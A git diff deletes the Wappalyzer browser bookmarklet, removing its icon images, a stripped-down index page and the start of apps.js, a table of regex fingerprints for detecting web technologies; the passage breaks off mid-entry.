a/Wappalyzer/drivers/bookmarklet/images/icons/phpMyAdmin.png b/Wappalyzer/drivers/bookmarklet/images/icons/phpMyAdmin.png deleted file mode 100644 index 42b3c79..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/phpMyAdmin.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/phpPgAdmin.png b/Wappalyzer/drivers/bookmarklet/images/icons/phpPgAdmin.png deleted file mode 100644 index 36d8e43..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/phpPgAdmin.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/phpSQLiteCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/phpSQLiteCMS.png deleted file mode 100644 index d3fee34..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/phpSQLiteCMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/phpwind.png b/Wappalyzer/drivers/bookmarklet/images/icons/phpwind.png deleted file mode 100644 index 7aa3db0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/phpwind.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/prettyPhoto.png b/Wappalyzer/drivers/bookmarklet/images/icons/prettyPhoto.png deleted file mode 100644 index 47f9131..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/prettyPhoto.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/punBB.png b/Wappalyzer/drivers/bookmarklet/images/icons/punBB.png deleted file mode 100644 index f45aeea..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/punBB.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/reCAPTCHA.png b/Wappalyzer/drivers/bookmarklet/images/icons/reCAPTCHA.png deleted file mode 100644 index 819a4b2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/reCAPTCHA.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/sIFR.png b/Wappalyzer/drivers/bookmarklet/images/icons/sIFR.png deleted file mode 100644 index 4e82ecb..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/sIFR.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/sNews.png b/Wappalyzer/drivers/bookmarklet/images/icons/sNews.png deleted file mode 100644 index 50907f3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/sNews.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/script.aculo.us.png b/Wappalyzer/drivers/bookmarklet/images/icons/script.aculo.us.png deleted file mode 100644 index 212621c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/script.aculo.us.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/spin.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/spin.js.png deleted file mode 100644 index 5297fca..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/spin.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/swift.engine.png b/Wappalyzer/drivers/bookmarklet/images/icons/swift.engine.png deleted file mode 100644 index da79f09..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/swift.engine.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/three.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/three.js.png deleted file mode 100644 index 51614a4..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/three.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/thttpd.png b/Wappalyzer/drivers/bookmarklet/images/icons/thttpd.png deleted file mode 100644 index d7a9bbc..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/thttpd.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/total.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/total.js.png deleted file mode 100644 index bbe2539..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/total.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/uCore.png b/Wappalyzer/drivers/bookmarklet/images/icons/uCore.png deleted file mode 100755 index 5f5da3d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/uCore.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/vBulletin.png b/Wappalyzer/drivers/bookmarklet/images/icons/vBulletin.png deleted file mode 100644 index 67af801..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/vBulletin.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/viennaCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/viennaCMS.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/viennaCMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/webEdition.png b/Wappalyzer/drivers/bookmarklet/images/icons/webEdition.png deleted file mode 100644 index b85cb66..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/webEdition.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/xCharts.png b/Wappalyzer/drivers/bookmarklet/images/icons/xCharts.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/xCharts.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/xtCommerce.png b/Wappalyzer/drivers/bookmarklet/images/icons/xtCommerce.png deleted file mode 100644 index 37ad901..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/xtCommerce.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/xui.png b/Wappalyzer/drivers/bookmarklet/images/icons/xui.png deleted file mode 100644 index eb4ff5b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/xui.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/yepnope.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/yepnope.js.png deleted file mode 100644 index 5f68d8b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/yepnope.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/pending.gif b/Wappalyzer/drivers/bookmarklet/images/pending.gif deleted file mode 100644 index 3864c07..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/pending.gif and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/index.html b/Wappalyzer/drivers/bookmarklet/index.html deleted file mode 100644 index 78bfee9..0000000 --- a/Wappalyzer/drivers/bookmarklet/index.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - - Wappalyzer - - - - - - -

- Drag this button to your bookmarks toolbar: -

- -

- Wappalyzer -

- -

- Note: this is a beta version and may stop working at some point. Check back here for a new version if this happens. -

- - - - - - diff --git a/Wappalyzer/drivers/bookmarklet/js/apps.js b/Wappalyzer/drivers/bookmarklet/js/apps.js deleted file mode 100644 index dba48ea..0000000 --- a/Wappalyzer/drivers/bookmarklet/js/apps.js +++ /dev/null @@ -1,3839 +0,0 @@ -var json = -{ - "categories": { - "1": "cms", - "2": "message-boards", - "3": "database-managers", - "4": "documentation-tools", - "5": "widgets", - "6": "ecommerce", - "7": "photo-galleries", - "8": "wikis", - "9": "hosting-panels", - "10": "analytics", - "11": "blogs", - "12": "javascript-frameworks", - "13": "issue-trackers", - "14": "video-players", - "15": "comment-systems", - "16": "captchas", - "17": "font-scripts", - "18": "web-frameworks", - "19": "miscellaneous", - "20": "editors", - "21": "lms", - "22": "web-servers", - "23": "cache-tools", - "24": "rich-text-editors", - "25": "javascript-graphics", - "26": "mobile-frameworks", - "27": "programming-languages", - "28": "operating-systems", - "29": "search-engines", - "30": "web-mail", - "31": "cdn", - "32": "marketing-automation", - "33": "web-server-extensions", - "34": "databases", - "35": "maps", - "36": "advertising-networks", - "37": "network-devices", - "38": "media-servers", - "39": "webcams", - "40": "printers", - "41": "payment-processors", - "42": "tag-managers", - "43": "paywalls" - }, - "apps": { - "1C-Bitrix": { - "website": "www.1c-bitrix.ru", - "cats": [ 1 ], - "headers": { "X-Powered-CMS": "Bitrix Site Manager", "Set-Cookie": "BITRIX_" }, - "html": "(?:]+components/bitrix|(?:src|href)=\"/bitrix/(?:js|templates))", - "script": "1c-bitrix", - "implies": "PHP" - }, - "1und1": { - "website": "1und1.de", - "cats": [ 6 ], - "url": "/shop/catalog/browse\\?sessid=", - "implies": "PHP" - }, - "2z Project": { - "website": "2zproject-cms.ru", - "cats": [ 1 ], - "meta": { "generator": "2z project ([\\d.]+)\\;version:\\1" } - }, - "3dCart": { - "website": "www.3dcart.com", - "cats": [ 1, 6 ], - "headers": { "X-Powered-By": "3DCART" }, - "script": "(?:twlh(?:track)?\\.asp|3d_upsell\\.js)" - }, - "3DM": { - "website": "www.3ware.com", - "cats": [ 19 ], - "html": "3ware 3DM([\\d\\.]+)?\\;version:\\1", - "implies": "3ware" - }, - "3ware": { - "website": "www.3ware.com", - "cats": [ 22 ], - "headers": { "Server": "3ware\\/?([\\d\\.]+)?\\;version:\\1" } - }, - "Accessible Portal": { - "website": "www.accessibleportal.com", - "cats": [ 1 ], - "meta": { "generator": "Accessible Portal" }, - "implies": "PHP" - }, - "Adcash": { - "website": "adcash.com", - "cats": [ 36 ], - "env": "^(?:ac_bgclick_URL|ct_(?:siteunder|tag|n(?:SuUrl(?:Opp)?)|Su(?:Loaded|Url)))$", - "script": "^[^\\/]*//(?:[^\\/]+\\.)?adcash\\.com/(?:script|ad)/", - "url": "^https?://(?:[^\\/]+\\.)?adcash\\.com/script/pop_" - }, - "AddThis": { - "website": "www.addthis.com", - "cats": [ 5 ], - "script": "addthis\\.com/js/", - "env": "^addthis" - }, - "AdInfinity": { - "website": "adinfinity.com.au", - "cats": [ 36 ], - "script": "adinfinity\\.com\\.au" - }, - "Adobe ColdFusion": { - "website": "adobe.com/products/coldfusion-family.html", - "cats": [ 18 ], - "url": "\\.cfm(?:$|\\?)", - "html": "<!-- START headerTags\\.cfm", - "headers": { "Cookie": "CFTOKEN=" }, - "script": "/cfajax/", - "env": "^_cfEmails$", - "implies": "CFML" - }, - "Adobe CQ5": { - "website": "adobe.com/products/cq.html", - "cats": [ 1 ], - "html": [ "<div class=\"[^\"]*parbase", "_jcr_content", "/etc/designs/", "/etc/clientlibs/" ], - "implies": "Java" - }, - "Adobe GoLive": { - "website": "www.adobe.com/products/golive", - "cats": [ 20 ], - "meta": { "generator": "Adobe GoLive(?:\\s([\\d.]+))?\\;version:\\1" } - }, - "Adobe RoboHelp": { - "website": "adobe.com/products/robohelp.html", - "cats": [ 4 ], - "meta": { "generator": "^Adobe RoboHelp(?: ([\\d]+))?\\;version:\\1" }, - "script": "(?:wh(?:utils|ver|proxy|lang|topic|msg)|ehlpdhtm)\\.js", - "env": "^gbWh(?:Ver|Lang|Msg|Util|Proxy)$" - }, - "AdRiver": { - "website": "adriver.ru", - "cats": [ 36 ], - "env": "^adriver$", - "html": "(?:<embed[^>]+(?:src=\"https?://mh\\d?\\.adriver\\.ru/|flashvars=\"[^\"]*(?:http:%3A//(?:ad|mh\\d?)\\.adriver\\.ru/|adriver_banner))|<(?:(?:iframe|img)[^>]+src|a[^>]+href)=\"https?://ad\\.adriver\\.ru/)", - "script": "(?:adriver\\.core\\.\\d\\.js|https?://(?:content|ad|masterh\\d)\\.adriver\\.ru/)" - }, - "AdRoll": { - "website": "adroll.com", - "cats": [ 36 ], - "env": "^adroll_", - "script": "(?:a|s)\\.adroll\\.com" - }, - "Advanced Web Stats": { - "website": "www.advancedwebstats.com", - "cats": [ 10 ], - "html": "aws\\.src = [^<]+caphyon-analytics", - "implies": "Java" - }, - "Advert Stream": { - "website": "www.advertstream.com", - "cats": [ 36 ], - "env": "^advst_is_above_the_fold$", - "script": "(?:ad\\.advertstream\\.com|adxcore\\.com)" - }, - "Adzerk": { - "website": "adzerk.com", - "cats": [ 36 ], - "env": "^ados(?:Results)?$", - "script": "adzerk\\.net/ados\\.js", - "html": "<iframe [^>]*src=\"[^\"]+adzerk\\.net" - }, - "Airee": { - "website": "xn--80aqc2a.xn--p1ai", - "cats": [ 31 ], - "headers": { "Server": "Airee" } - }, - "Akamai": { - "website": "akamai.com", - "cats": [ 31 ], - "headers": { "X-Akamai-Transformed": ".*" } - }, - "AlloyUI": { - "website": "www.alloyui.com", - "cats": [ 12 ], - "env": "^AUI$", - "script": "^https?://cdn\\.alloyui\\.com/", - "implies": [ "Twitter Bootstrap", "YUI" ] - }, - "Amaya": { - "website": "www.w3.org/Amaya", - "cats": [ 20 ], - "meta": { "generator": "Amaya(?: V?([\\d.]+[a-z]))?\\;version:\\1" } - }, - "amCharts": { - "website": "amcharts.com", - "cats": [ 25 ], - "script": "amcharts.*\\.js", - "env": "^AmCharts$" - }, - "Ametys": { - "website": "ametys.org", - "cats": [ 1 ], - "meta": { "generator": "(?:Ametys|Anyware Technologies)" }, - "script": "ametys\\.js", - "implies": "Java" - }, - "Amiro.CMS": { - "website": "amirocms.com", - "cats": [ 1 ], - "meta": { "generator": "Amiro" }, - "html": "system_(?:js\\.php\\?script=|css\\.php\\?styles)[^\"]+cv=([\\d.]+)\\;version:\\1", - "implies": "PHP" - }, - "AMPcms": { - "website": "www.ampcms.org", - "cats": [ 1 ], - "headers": { "X-AMP-Version": "([\\d.]+)\\;version:\\1", "Set-Cookie": "^AMP=" }, - "env": "^amp_js_init$", - "implies": "PHP" - }, - "Anchor CMS": { - "website": "anchorcms.com", - "cats": [ 1, 11 ], - "meta": { "generator": "Anchor CMS" }, - "implies": [ "PHP", "MySQL" ] - }, - "AngularJS": { - "website": "angularjs.org", - "cats": [ 12 ], - "env": "^angular$", - "script": [ "angular(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "/([\\d.]+(\\-?rc[.\\d]*)*)/angular(\\.min)?\\.js\\;version:\\1", "angular.*\\.js" ] - }, - "AOLserver": { - "website": "aolserver.com", - "cats": [ 22 ], - "headers": { "Server": "AOLserver/?([\\d.]+)?\\;version:\\1" } - }, - "Apache": { - "website": "apache.org", - "cats": [ 22 ], - "headers": { "Server": "(?:Apache(?:$|/([\\d.]+)|[^/-])|(?:^|\\b)HTTPD)\\;version:\\1" } - }, - "Apache Hadoop": { - "website": "hadoop.apache.org", - "cats": [ 34 ], - "html": "type=\"text/css\" href=\"/static/hadoop\\.css\"" - }, - "Apache HBase": { - "website": "hbase.apache.org", - "cats": [ 34 ], - "html": "type=\"text/css\" href=\"/static/hbase\\.css\"" - }, - "Apache JSPWiki": { - "website": "jspwiki.org", - "cats": [ 8 ], - "url": "wiki\\.jsp", - "script": "jspwiki", - "html": "<html[^>]* xmlns:jspwiki=" - }, - "Apache Tomcat": { - "website": "tomcat.apache.org", - "cats": [ 22 ], - "headers": { "Server": "Apache-Coyote(/1\\.1)?\\;version:\\1?4.1+:" } - }, - "Apache Traffic Server": { - "website": "trafficserver.apache.org/", - "cats": [ 22 ], - "headers": { "Server": "ATS/?([\\d.]+)?\\;version:\\1" } - }, - "Apache Wicket": { - "website": "wicket.apache.org", - "cats": [ 18 ], - "env": "^Wicket", - "implies": "Java" - }, - "AppNexus": { - "website": "appnexus.com", - "cats": [ 36 ], - "html": "<(?:iframe|img)[^>]+adnxs\\.(?:net|com)", - "script": "adnxs\\.(?:net|com)" - }, - "Arc Forum": { - "website": "arclanguage.org", - "cats": [ 2 ], - "html": "ping\\.src = node\\.href;" - }, - "AsciiDoc": { - "website": "www.methods.co.nz/asciidoc", - "cats": [ 1, 20, 27 ], - "meta": { "generator": "^AsciiDoc ([\\d.]+)\\;version:\\1" }, - "env": "^asciidoc$" - }, - "ATEN": { - "website": "www.aten.com", - "cats": [ 22 ], - "headers": { "Server": "ATEN HTTP Server(:?\\(V?([\\d\\.]+)\\))?\\;version:\\1" } - }, - "ATG Web Commerce": { - "website": "oracle.com/us/products/applications/web-commerce/atg", - "cats": [ 6 ], - "headers": { "X-ATG-Version": "(?:ATGPlatform/([\\d.]+))?\\;version:\\1" }, - "html": "<[^>]+_DARGS" - }, - "Atlassian Confluence": { - "website": "www.atlassian.com/software/confluence/overview/team-collaboration-software", - "cats": [ 8 ], - "html": "Powered by <a href=[^>]+atlassian\\.com/software/confluence(?:[^>]+>Atlassian Confluence</a> ([\\d.]+))?\\;version:\\1", - "headers": { "X-Confluence-Request-Time": ".*" }, - "meta": { "confluence-request-time": ".*" }, - "implies": "Java" - }, - "Atlassian Jira": { - "website": "www.atlassian.com/software/jira/overview/", - "cats": [ 13 ], - "env": "^jira$", - "script": "/jira/s/", - "url": "/secure/Dashboard\\.jspa", - "html": "Powered by\\s+<a href=[^>]+atlassian\\.com/(?:software/jira|jira-bug-tracking/)[^>]+>Atlassian\\s+JIRA(?:[^v]*v(?:ersion: )?(\\d+\\.\\d+(\\.\\d+)?))?\\;version:\\1", - "implies": "Java" - }, - "Avangate": { - "website": "avangate.com", - "cats": [ 6 ], - "env": "^(?:__)?avng8_", - "html": "<link[^>]* href=\"^https?://edge\\.avangate\\.net/", - "script": "^https?://edge\\.avangate\\.net/" - }, - "AWStats": { - "website": "awstats.sourceforge.net", - "cats": [ 10 ], - "meta": { "generator": "AWStats ([\\d.]+(?: \\(build [\\d.]+\\))?)\\;version:\\1" }, - "implies": "Perl" - }, - "Backbone.js": { - "website": "documentcloud.github.com/backbone", - "cats": [ 12 ], - "script": "backbone.*\\.js", - "env": "^Backbone$", - "implies": "Underscore.js" - }, - "Banshee": { - "website": "www.banshee-php.org", - "cats": [ 1, 18 ], - "html": "Built upon the <a href=\"[^>]+banshee-php\\.org/\">[a-z]+</a>(?:v([\\d.]+))?\\;version:\\1", - "meta": { "generator": "Banshee PHP" }, - "implies": "PHP" - }, - "basket.js": { - "website": "addyosmani.github.io/basket.js/", - "cats": [ 12 ], - "script": "basket.*\\.js", - "env": "^basket$" - }, - "BaseHTTP": { - "website": "docs.python.org/2/library/basehttpserver.html", - "cats": [ 22 ], - "headers": { "Server": "BaseHTTP\\/?([\\d\\.]+)?\\;version:\\1" }, - "implies": "Python" - }, - "BIGACE": { - "website": "bigace.de", - "cats": [ 1 ], - "meta": { "generator": "BIGACE ([\\d.]+)\\;version:\\1" }, - "html": "(?:Powered by <a href=\"[^>]+BIGACE|<!--\\s+Site is running BIGACE)", - "implies": "PHP" - }, - "Bigcommerce": { - "website": "www.bigcommerce.com", - "cats": [ 6 ], - "url": "mybigcommerce\\.com", - "html": "<link href=[^>]+cdn\\d+\\.bigcommerce\\.com/v", - "script": "cdn\\d+\\.bigcommerce\\.com/v", - "env": "^compareProducts$" - }, - "BigDump": { - "website": "www.ozerov.de/bigdump.php", - "cats": [ 3 ], - "html": "<!-- <h1>BigDump: Staggered MySQL Dump Importer ver\\. ([\\d.b]+)\\;version:\\1", - "implies": [ "MySQL", "PHP" ] - }, - "Bigware": { - "website": "bigware.de", - "cats": [ 6 ], - "html": "(?:Diese <a href=[^>]+bigware\\.de|<a href=[^>]+/main_bigware_\\d+\\.php)", - "url": "(?:\\?|&)bigWAdminID=", - "headers": { "Set-Cookie": "(?:bigwareCsid|bigWAdminID)" }, - "implies": "PHP" - }, - "BittAds": { - "website": "bittads.com", - "cats": [ 36 ], - "script": "bittads\\.com/js/bitt\\.js$", - "env": "^bitt$" - }, - "Blip.tv": { - "website": "blip.tv", - "cats": [ 14 ], - "html": "<(?:param|embed|iframe)[^>]+blip\\.tv/play" - }, - "Blogger": { - "website": "www.blogger.com", - "cats": [ 11 ], - "meta": { "generator": "blogger" }, - "url": "\\.blogspot\\.com" - }, - "Boa": { - "website": "www.boa.org", - "cats": [ 22 ], - "headers": { "Server": "Boa\\/?([\\d\\.a-z]+)?\\;version:\\1" } - }, - "Bonfire": { - "website": "cibonfire.com", - "cats": [ 18 ], - "headers": { "Set-Cookie": "bf_session=" }, - "html": "Powered by <a[^>]+href=\"https?://(?:www\\.)?cibonfire\\.com[^>]*>Bonfire v([^<]+)\\;version:\\1", - "implies": "CodeIgniter" - }, - "Bolt": { - "website": "bolt.cm", - "cats": [ 1 ], - "meta": { "generator": "Bolt" }, - "implies": "PHP" - }, - "Brother": { - "website": "www.brother.com", - "cats": [ 40 ] - }, - "BrowserCMS": { - "website": "browsercms.org", - "cats": [ 1 ], - "meta": { "generator": "BrowserCMS ([\\d.]+)\\;version:\\1" }, - "implies": "Ruby" - }, - "BugSense": { - "website": "bugsense.com", - "cats": [ 10 ], - "script": "bugsense\\.js", - "env": "^BugSense$" - }, - "BugSnag": { - "website": "bugsnag.com", - "cats": [ 10 ], - "script": "bugsnag.*\\.js", - "env": "^BugSnag$" - }, - "Bugzilla": { - "website": "www.bugzilla.org", - "cats": [ 13 ], - "html": "href=\"enter_bug\\.cgi\">", - "implies": "Perl" - }, - "Burning Board": { - "website": "www.woltlab.com", - "cats": [ 2 ], - "html": "<a href=\"[^>]+woltlab\\.com.+Burning Board", - "implies": "PHP" - }, - "Business Catalyst": { - "website": "businesscatalyst.com", - "cats": [ 1 ], - "script": "CatalystScripts", - "html": "<!-- BC_OBNW -->" - }, - "BuySellAds": { - "website": "buysellads.com", - "cats": [ 36 ], - "script": "^https?://s\\d\\.buysellads\\.com/", - "html": "<script[^>]*>(?:(?!<\\/script>)(?:.|\\s))+?bsa\\.src\\s*=\\s*[\"'][^'\"]+s\\d\\.buysellads\\.com", - "env": "^_bsa" - }, - "Canon": { - "website": "www.canon.com", - "cats": [ 40 ] - }, - "CakePHP": { - "website": "cakephp.org", - "cats": [ 18 ], - "headers": { "Set-Cookie": "cakephp=" }, - "meta": { "application-name": "CakePHP" }, - "implies": "PHP" - }, - "Carbon Ads": { - "website": "carbonads.net", - "cats": [ 36 ], - "script": "[^\\/]*\\/\\/(?:engine|srv)\\.carbonads\\.com\\/", - "html": "<[a-z]+ [^>]*id=\"carbonads-container\"", - "env": "^_carbonads" - }, - "Cargo": { - "website": "cargocollective.com", - "cats": [ 1 ], - "meta": { "cargo_title": ".*" }, - "script": "/cargo\\.", - "html": "<link [^>]+Cargo feed", - "implies": "PHP" - }, - "Catwalk": { - "website": "www.canon.com", - "cats": [ 22 ], - "headers": { "Server": "Catwalk\\/?([\\d\\.]+)?\\;version:\\1" }, - "implies": "Canon" - }, - "CentOS": { - "website": "centos.org", - "cats": [ 28 ], - "headers": { "Server": "CentOS", "X-Powered-By": "CentOS" } - }, - "CFML": { - "website": "adobe.com/products/coldfusion-family.html", - "cats": [ 27 ] - }, - "CacheFly": { - "website": "www.cachefly.com", - "cats": [ 31 ], - "headers": { "Server": "^CFS ", "X-CF1": ".+", "X-CF2": ".+" } - }, - "Chameleon": { - "website": "chameleon-system.de", - "cats": [ 1 ], - "meta": { "generator": "chameleon-cms" }, - "implies": [ "Apache", "PHP" ] - }, - "Chamilo": { - "website": "www.chamilo.org", - "cats": [ 21 ], - "html": "\">Chamilo ([\\d.]+)</a>\\;version:\\1", - "meta": { "generator": "Chamilo ([\\d.]+)\\;version:\\1" }, - "headers": { "X-Powered-By": "Chamilo ([\\d.]+)\\;version:\\1" }, - "implies": "PHP" - }, - "Chartbeat": { - "website": "chartbeat.com", - "cats": [ 10 ], - "html": "function loadChartbeat\\(\\) \\{", - "script": "chartbeat\\.js" - }, - "Cherokee": { - "website": "www.cherokee-project.com", - "cats": [ 22 ], - "headers": { "Server": "Cherokee/([\\d.]+)\\;version:\\1" } - }, - "CherryPy": { - "website": "www.cherrypy.org", - "cats": [ 18, 22 ], - "headers": { "Server": "CherryPy\\/?([\\d\\.]+)?\\;version:\\1" }, - "implies": "Python" - }, - "Chitika": { - "website": "chitika.com", - "cats": [ 36 ], - "script": "scripts\\.chitika\\.net/", - "env": "ch_c(?:lient|olor_site_link)" - }, - "CKEditor": { - "website": "ckeditor.com", - "cats": [ 24 ], - "env": "^CKEDITOR$" - }, - "Cloudera": { - "website": "www.cloudera.com", - "cats": [ 34 ], - "headers": { "Server": "cloudera" } - }, - "ClickHeat": { - "website": "www.labsmedia.com/clickheat/index.html", - "cats": [ 10 ], - "script": "clickheat.*\\.js", - "env": "^clickHeat", - "implies": "PHP" - }, - "ClickTale": { - "website": "www.clicktale.com", - "cats": [ 10 ], - "html": "if\\(typeof ClickTale\\(Tag\\)*==\\\"function\\\"\\)", - "env": "^ClickTale" - }, - "Clicky": { - "website": "getclicky.com", - "cats": [ 10 ], - "script": "static\\.getclicky\\.com", - "env": "^clicky$" - }, - "CloudFlare": { - "website": "www.cloudflare.com", - "cats": [ 31 ], - "headers": { "Server": "cloudflare" }, - "env": "^CloudFlare$" - }, - "CMS Made Simple": { - "website": "cmsmadesimple.org", - "cats": [ 1 ], - "headers": { "Set-Cookie": "^CMSSESSID" }, - "meta": { "generator": "CMS Made Simple" }, - "implies": "PHP" - }, - "CMSimple": { - "website": "www.cmsimple.org/en", - "cats": [ 1 ], - "meta": { "generator": "CMSimple( [\\d.]+)?\\;version:\\1" }, - "implies": "PHP" - }, - "CO2Stats": { - "website": "co2stats.com", - "cats": [ 10 ], - "html": "src=[^>]+co2stats\\.com/propres\\.php" - }, - "CodeIgniter": { - "website": "codeigniter.com", - "cats": [ 18 ], - "headers": { "Set-Cookie": "(?:exp_last_activity|exp_tracker|ci_(?:session|(csrf_token)))\\;version:\\1?2+:" }, - "html": "<input[^>]+name=\"ci_csrf_token\"\\;version:2+", - "implies": "PHP" - }, - "CodeMirror": { - "website": "codemirror.net", - "cats": [ 19 ], - "env": "^CodeMirror$" - }, - "Commerce Server": { - "website": "commerceserver.net", - "cats": [ 6 ], - "headers": { "COMMERCE-SERVER-SOFTWARE": ".+" }, - "implies": "Microsoft ASP.NET" - }, - "CompaqHTTPServer": { - "website": "www.hp.com", - "cats": [ 22 ], - "headers": { "Server": "CompaqHTTPServer\\/?([\\d\\.]+)?\\;version:\\1" } - }, - "comScore": { - "website": "comscore.com", - "cats": [ 10 ], - "script": "\\.scorecardresearch\\.com/beacon\\.js|COMSCORE\\.beacon", - "html": "<iframe[^>]* (?:id=\"comscore\"|scr=[^>]+comscore)|\\.scorecardresearch\\.com/beacon\\.js|COMSCORE\\.beacon", - "env": "^_?COMSCORE$" - }, - "Concrete5": { - "website": "concrete5.org", - "cats": [ 1 ], - "script": "concrete/js/", - "meta": { "generator": "concrete5 - ([\\d.ab]+)\\;version:\\1" }, - "env": "^CCM_IMAGE_PATH$", - "implies": "PHP" - }, - "Connect": { - "website": "www.senchalabs.org/connect", - "cats": [ 18 ], - "headers": { "X-Powered-By": "^Connect$" }, - "implies": "node.js" - }, - "Contao": { - "website": "contao.org", - "cats": [ 1 ], - "html": [ "<!--[^>]+powered by (?:TYPOlight|Contao)[^>]*-->", "<link[^>]+(?:typolight|contao)\\.css" ], - "meta": { "generator": "^Contao Open Source CMS$" }, - "implies": "PHP" - }, - "Contenido": { - "website": "contenido.org/en", - "cats": [ 1 ], - "meta": { "generator": "Contenido ([\\d.]+)\\;version:\\1" }, - "implies": "PHP" - }, - "Contens": { - "website": "www.contens.com/en/pub/index.cfm", - "cats": [ 1 ], - "meta": { "generator": "Contensis CMS Version ([\\d.]+)\\;version:\\1" }, - "implies": [ "Java", "CFML" ] - }, - "ContentBox": { - "website": "www.gocontentbox.org", - "cats": [ 1, 11 ], - "meta": { "generator": "ContentBox powered by ColdBox" }, - "implies": "Adobe ColdFusion" - }, - "ConversionLab": { - "website": "www.trackset.it/conversionlab", - "cats": [ 10 ], - "script": "conversionlab\\.trackset\\.com/track/tsend\\.js" - }, - "Coppermine": { - "website": "coppermine-gallery.net", - "cats": [ 7 ], - "html": "<!--Coppermine Photo Gallery ([\\d.]+)\\;version:\\1", - "implies": "PHP" - }, - "Cosmoshop": { - "website": "cosmoshop.de", - "cats": [ 6 ], - "script": "cosmoshop_functions\\.js" - }, - "Cotonti": { - "website": "www.cotonti.com", - "cats": [ 1 ], - "meta": { "generator": "Cotonti" }, - "implies": "PHP" - }, - "CouchDB": { - "website": "couchdb.apache.org", - "cats": [ 22 ], - "headers": { "Server": "CouchDB/([\\d.]+)\\;version:\\1" } - }, - "cPanel": { - "website": "www.cpanel.net", - "cats": [ 9 ], - "headers": { "Server": "cpsrvd/([\\d.]+)\\;version:\\1" }, - "html": "<!-- cPanel" - }, - "CPG Dragonfly": { - "website": "dragonflycms.org", - "cats": [ 1 ], - "headers": { "X-Powered-By": "Dragonfly CMS" }, - "meta": { "generator": "CPG Dragonfly" }, - "implies": "PHP" - }, - "Craft CMS": { - "website": "buildwithcraft.com", - "cats": [ 1 ], - "headers": { "Set-Cookie": "CraftSessionId=" }, - "implies": "PHP" - }, - "Crazy Egg": { - "website": "crazyegg.com", - "cats": [ 10 ], - "env": "^CE2$", - "script": "cetrk\\.com/pages/scripts/\\d+/\\d+\\.js" - }, - "Criteo": { - "website": "criteo.com", - "cats": [ 36 ], - "script": "[^/]*//(?:cas\\.criteo\\.com|(?:[^/]\\.)?criteo\\.net)/", - "env": "^criteo" - }, - "Cross Pixel": { - "website": "datadesk.crsspxl.com", - "cats": [ 10 ], - "env": "^crsspxl$", - "script": "tag\\.crsspxl\\.com/s1\\.js" - }, - "CS Cart": { - "website": "www.cs-cart.com", - "cats": [ 6 ], - "env": "^fn_compare_strings$", - "html": [ " Powered by (?:<a href=[^>]+cs-cart\\.com|CS-Cart)", "(?:\\$|jQuery)\\.runCart\\('\\w'\\)" ], - "implies": "PHP" - }, - "CubeCart": { - "website": "www.cubecart.com", - "cats": [ 6 ], - "html": "(?:Powered by <a href=[^>]+cubecart\\.com|<p[^>]+>Powered by CubeCart)", - "meta": { "generator": "cubecart" }, - "implies": "PHP" - }, - "Cufon": { - "website": 